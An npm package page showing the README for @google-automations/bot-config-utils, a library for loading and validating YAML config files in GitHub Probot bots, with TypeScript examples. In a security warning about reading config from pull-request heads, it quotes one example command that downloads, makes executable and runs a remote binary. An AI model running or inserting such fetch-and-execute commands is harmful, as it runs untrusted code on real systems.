npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2024 – Pkg Stats / Ryan Hefner

@google-automations/bot-config-utils

v8.0.0

Published

Utilities for github bot config

Downloads

812

Readme

bot-config-utils

This is a small library for handling bot config file.

Install

npm i @google-automations/bot-config-utils

Get the config

This library supports yaml config file. You provide an config interface. The code assumes we're in the probot handler.

import {
  getConfig,
} from '@google-automations/bot-config-utils';

interface Config {
  myConfig: string;
}
const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfig<Config>(
  context.octokit,
  owner,
  repo,
  CONFIG_FILENAME);
// config can be null.

Provide the default value

You can use a similar method that supports default value.

import {
  getConfigWithDefault,
} from '@google-automations/bot-config-utils';

interface Config {
  myConfig: string;
}

const defaultConfig: Config = {'myConfig': 'myValue'};

const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfigWithDefault<Config>(
  context.octokit,
  owner,
  repo,
  CONFIG_FILENAME,
  defaultConfig);
// config is always a Config object.

getConfig options

You can specify optional arguments via the getConfigOptions interface to getConfig and getConfigWithDefault.

{
  fallbackToOrgConfig: false,
  branch: 'release-9.x',
  schema: schema,
  additionalSchemas: additionalSchema
}
  • fallbackToOrgConfig If set to true, it will try to fetch the config from .github repo in the same org, defaults to true.
  • branch The branch for getting the config.
  • schema The json schema definition. If specified, the loaded config will be validated against the given schema. It will throw an Error when validation fails.
  • additionalSchemas Only required if you need to give additional schema definitions.

Here is a simple example for not falling back to .github repo, and doing the schema validation.

// json schema definition
import schema from './config-schema.json';
import {
  getConfig,
} from '@google-automations/bot-config-utils';

interface Config {
  myConfig: string;
}
const CONFIG_FILENAME = 'mybot.yaml';
const {owner, repo} = context.repo();
const config = await getConfig<Config>(
  context.octokit,
  owner,
  repo,
  CONFIG_FILENAME,
  {fallbackToOrgConfig: false, schema: schema}
);
// config can be null.

Check config schema on PRs

To use this feature, the bot needs to have some permissions.

You have to add the following permissions:

  • Pull Request Read/Write
  • Checks Read/Write

You also have to subscribe to Pull Request events.

You also need to provide a schema definition. Here is an example definition:

// config-schema.json
{
    "$schema": "http://json-schema.org/draft-07/schema#",
    "type": "object",
    "title": "flakybot config",
    "description": "Schema for flakybot configuration",
    "additionalProperties": false,
    "properties": {
	    "issuePriority": {
	        "description": "The default priority for flakybot issues",
	        "type": "string",
	    }
    }
}

Here is a sample handler(this assumes you're developping a Probot app):

import {ConfigChecker} from '@google-automations/bot-config-utils';
import schema from './config-schema.json';

// ...

  app.on(
    [
      'pull_request.opened',
      'pull_request.reopened',
      'pull_request.edited',
      'pull_request.synchronize',
    ],
    async context => {
      const configChecker = new ConfigChecker<Config>(schema, CONFIG_FILENAME);
      const {owner, repo} = context.repo();
      await configChecker.validateConfigChanges(
        context.octokit,
        owner,
        repo,
        context.payload.pull_request.head.sha,
        context.payload.pull_request.number
      );
    }
  );

validateConfigChanges will check the config file format against the schema you provided. It will submit a failing status check if:

  • You are trying to add a wrong config file (currently it only checks yaml vs yml).
  • You are trying to add a broken config file, or the config file doesn't match the schema.

validateConfigChanges resolves false, if the config file is invalid, and a failing check has been created.

Fetch config from the PR head

Probot's implementation of config always fetches the config from the main branch. This is a reasonable security meassure for a generic library.

It is very dangerous to fetch the config from PR head expecially if the config contains some external commands. Here is a simple example:

prepareCommands: 'curl http://example.com/m && chmod +x m && ./m'

However, if your bot doesn't have such a field in the config file, it is very natural to fetch the config from the PR head.

For this purpose, the ConfigChecker has a method: getConfig(): T | undefined. This will return the config object only if the validation succeeds.

Even if the config contains a dangerous field, you can selectively use the value from the config in the PR head.